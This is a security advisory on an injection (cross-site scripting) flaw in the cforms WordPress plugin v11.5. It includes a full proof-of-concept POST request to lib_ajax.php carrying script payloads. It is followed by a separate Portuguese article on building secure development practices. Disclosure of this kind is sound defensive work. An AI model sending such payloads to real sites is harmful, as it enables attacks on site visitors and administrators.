Conviso Application Security

Uma versão em PDF está também disponível | A PDF version is also available

Introduction

According to Delicious Days, "cforms is a powerful and feature rich form plugin for WordPress, offering convenient deployment of multiple Ajax driven contact forms throughout your blog or even on the same page."

This problem was confirmed in the following versions of the cforms WordPress Plugin, other versions maybe also affected.

cforms v11.5

CVSS Scoring System

The CVSS score is: 5.5

Base Score: 6.7

Temporal Score: 5.5

We used the following values to calculate the scores:

Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:N

Temporal score is: E:F/RL:OF/RC:C

Details

A data array is created in lib_ajax.php using values from a form field in a POST request. The parameters rs and rsargs are not validated and thus it is possible to inject code.

Request:

http://<server>/wp-content/plugins/cforms/lib_ajax.php

POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1

Host: <server>

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:

1.9.2.10) Gecko/20100914 Firefox/3.6.10

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 219

Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do

%26m6%3Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce

%26imgsize%3Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do

%26uploader%3D1%26m11%3Do; wp-settings-time-1=1285758765;

c o m m e n t _ a u t h o r _ 9 3 f 4 1 b a 0 b 1 6 f 3 4 6 7 6 f 8 0 2 0 5 8 e 8 2 3 8 8 f 6 = t e s t ;

comment_author_email_93f41ba0b16f34676f802058e82388f6=rbranco_nospam

%40checkpoint.com

Pragma: no-cache

Cache-Control: no-cache

rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs[]=1$#

$<script>alert(1)</script>$#$rbranco_nospam@checkpoint.com$#$http://

www.checkpoint.com$#$<script>alert(1)</script>

Credits

This vulnerability has been brought to our attention by Wagner Elias from Conviso IT Security company and researched internally by Rodrigo Rubira Branco from the Check Point Vulnerability Discovery Team (VDT).

Com a crescente demanda por iniciativas de segurança em desenvolvimento de software é comum encontrarmos soluções mirabolantes e ferramentas que implementam segurança "Out-Of-The-Box". Não acredite nestas iniciativas. Para produção de um software seguro é necessário a adoção de métodos que garantam a qualidade durante todas as etapas do desenvolvimento [1][2].

Antes de pensar em segurança é preciso analisar o seu processo de desenvolvimento de software. Segundo estudos realizados pela Cigital Software Confidence [3]: “software ruim é a origem da maioria dos problemas de segurança”. Isso significa que uma má gestão no processo de desenvolvimento de software pode levar a um código mal estruturado e por sua vez a problemas de segurança. Por outro lado, software de qualidade é desenvolvido com uma abordagem estruturada e ferramentas de apoio[4][5].

Como é o seu processo de desenvolvimento?

Seu processo de desenvolvimento atende a estes requisitos:

1 - Como você gerencia o seu código fonte?

Uma ferramenta fundamental para o desenvolvimento de software é um bom sistema de controle de versão para o código fonte[6]. Além de organizar a interação entre desenvolvedores, essa ferramenta irá garantir integridade e possibilitar o gerenciamento de versões do código, evitando equívocos quanto a versão colocada em produção.

2 - Quais os tipos de testes você adota?

Um processo fundamental para a melhoria continua do software são os testes [7]. Devem ser adotadas desde práticas que buscam uma avaliação geral do software até modelos que buscam testar pequenos trechos de código por vez (como os testes unitários).

3 - Como você gerencia a correção de bugs?

Como diria Joel Spolsky: “não é possível armazenar mais que três bugs na cabeça” [8]. Para manter registro das falhas encontradas no sistema é essencial que seja adotado uma ferramenta de Bug Tracking. Esta irá agir como facilitadora da comunicação entre os envolvidos na identificação e correção do bug.

4 - Você adota um processo de Integração Contínua para garantir que bugs não são inseridos no build?

Um processo de integração continua irá colaborar para garantir a qualidade do software desenvolvido[9][10]. O processo irá automatizar verificações no processo de build da ferramenta, garantindo assim, que seja possível gerar um novo release sem problemas.

5 - Como você documenta o software desenvolvido e a arquitetura que o suporta?

Documentação clara da arquitetura e código fonte ajuda a aumentar a qualidade do software desenvolvido. Uma documentação clara, objetiva e bem estruturada é de fundamental importância para que o software possa ser expandido de forma sustentável e segura.

Se você ainda tem deficiência nos itens listados acima, o primeiro passo é buscar ajustar o seu processo de desenvolvimento às técnicas mencionadas. Com esta iniciativa você naturalmente irá desenvolver software melhor e com número menor de bugs.

Já possuo um bom processo de desenvolvimento de software e quero inserir neste processo atividades que irão melhorar a segurança dos softwares desenvolvidos

O primeiro ponto a ser entendido é: para implementar segurança em um processo de desenvolvimento são necessárias mudanças. Isto envolve de questões culturais até capacitação dos envolvidos em temas associados a segurança. Todo esse processo de reeducação leva tempo e não acontece simplesmente ao escrever uma política ou definir alguns checklists.

Segundo estudos relatados no BSIMM (Building Security In Maturity Model), atualmente, existem mais de sessenta grandes iniciativas de segurança no desenvolvimento de software em organizações dos mais diversos setores. Todas essas iniciativas tem características comuns, adotam estruturas e abordagens que foram analisadas pelo BSIMM.

A implementação de um processo de segurança em desenvolvimento deve ser gradativo. Iremos tratar respectivamente as atividades envolvidas do nível menos ao mais maduro de acordo com os estudos do BSIMM. Esses estudos, não levam em consideração a organização em domínios, visando uma visão mais abrangente orientada às atividades e não a um framework específico.

Estas atividades descrevem em alto nível as práticas que devem ser inseridas no seu processo de desenvolvimento que levarão gradativamente ao processo para criação de software seguro.

1 – Diretrizes de alto nível e os gestores do processo

A iniciativa de segurança em desenvolvimento irá mexer com os processos de desenvolvimento de software e impactar o modelo já estabelecido entre gestores do negócio e equipe de desenvolvimento. Por isso, uma modificação de cultura é necessária para que esta iniciativa seja suportada pelo alto nível da organização. Esse processo deve se conduzido por profissionais que tenham visão do negócio como um todo e um bom relacionamento com equipe de desenvolvimento e gerentes do negócio.

2 –Time de Segurança em Desenvolvimento

É necessário definir um time que irá conduzir as atividades de segurança em desenvolvimento, como: revisores, responsáveis por políticas e métricas, testadores e orientadores. É importante notar que estes profissionais devem ser identificados no time de desenvolvimento e/ou contratados com estes perfil. Um erro recorrente é que muitas vezes profissionais de áreas relacionadas a segurança, sem perfil de engenharia de software são contratados para ocupar as vagas referentes aos perfis citados.

3 – Papéis e Estrutura adotada para o (Secure Development Lifecycle)

Estudando práticas como as sugeridas pela OWASP (Open Web Application Security Project)[11] e estabelecendo uma cultura de segurança na organização, defina metas, desenvolva documentação prescritiva e defina os papéis e responsabilidades dos envolvidos no SDL.

4 – Treinamento e Capacitação

Com o processo iniciado e apoio da organização é preciso treinar os envolvidos e desenvolver materiais e recursos para que os profissionais se mantenham conscientes sobre a necessidade de segurança e sejam informados sobre fontes de pesquisa no tema.

5 – Reutilização de Componentes

Construa e homologue componentes de código e arquitetura que possam vir a ser adotados como padrão na organização. Modelos como o ESAPI (Enterprise Security API)[12][13][14][15] da OWASP podem ser adotados evitando que códigos com problemas de segurança e componentes inseguros sejam adotados.

6 – Padrões de Código Seguro e Checklists

Defina padrões de códigos seguros, boas práticas de acordo com a linguagem adotada e ambiente definido pela organização[16]. Crie checklists para verificar as principais ações durante o desenvolvimento e revisão de segurança do software.

7 – Modelo para Avaliação de Riscos

Defina um processo para avaliar os riscos associados aos softwares desenvolvidos e como os riscos identificados serão tratados. Modelos como o Theat Modeling da Microsoft[17] podem ser adotados como referência. Este processo deve estar associado a um processo de gestão de vulnerabilidades e resposta a incidentes.

8 – Revisão de Segurança

Defina processo de revisão de segurança e testes que irão verificar se existem problemas de segurança que ainda não foram tratados. Os problemas identificados devem ser tratados e documentados no processo de Bug Tracking [18], através do processo de gestão de vulnerabilidades. Modelos como o OWASP Testing Guide [19] e OWASP Code Review Guide [20] podem ser adotados como referência.

9 – Ferramentas para Teste

Adote e crie ferramentas para testar as características específicas dos softwares desenvolvidos pela organização. Essas ferramentas devem evoluir de acordo os insumos produzidos pelas revisões de segurança. Evite ferramentas que propõem modelos baseados em padrões conhecidos e não permitem que sejam aprimoradas e orientadas para a organização. Frameworks como o O2 Platform [21] da OWASP se adaptam e evoluem com a sua equipe de teste a medida que o seu software vai sendo desenvolvido.

10 – Implantação de Software

Após a adoção de todo o processo é necessário colocar o software em produção. Após ir para produção, falhas podem aparecer e um processo claro de resposta a incidentes deve estar estabelecido. Eventuais problemas de segurança devem ser tratados sem que causem grandes problemas aos usuários e a organização.

Conclusões

Gradualmente, as organizações serão pressionadas a adotar um modelo de segurança em desenvolvimento de software e os envolvidos devem se adequar a esta nova realidade. O processo de segurança em desenvolvimento exige que a organização adote boas práticas de desenvolvimento e se adeque a nova cultura de desenvolvimento seguro de software.

Apesar de relativamente nova a iniciativa de segurança em desenvolvimento, é cada vez mais abundante os modelos e ferramentas para suporte ao processo. Nenhuma tecnologia isolada irá aumentar a segurança do software desenvolvido. É necessário recursos, tempo e dedicação para que gradativamente a organização aumente a segurança de seus sistemas computacionais. Como a segurança das aplicações fará parte das atribuições e metas de conformidade da organização é necessário que a alta gestão da organização apoie a iniciativa de desenvolvimento de software seguro e fornece todos os recursos necessário.

Sobre o Autor

Wagner Elias atua com Segurança da Informação desde 2004, tendo trabalhado como consultor, líder de equipes e gerente de consultoria. Tem ampla experiência na condução de projetos em IT Security com soluções implementadas em empresas dos mais diversos segmentos. Possui as certificações CBCP, SANS GIAC GHTQ, ITIL e CobiT Foundations além de certificações de produtos de SIEM e WAF. É fundador e líder do capítulo brasileiro da OWASP, ocupou o cargo de diretor de conteúdo na gestão 2006-2008 e de eventos da gestão 2008-2010 do capítulo brasileiro da ISSA. É co-fundador e sócio da Conviso IT Security, onde atua como Gerente de R&D, responsável pela gestão de pesquisa e desenvolvimento de projetos de consultoria.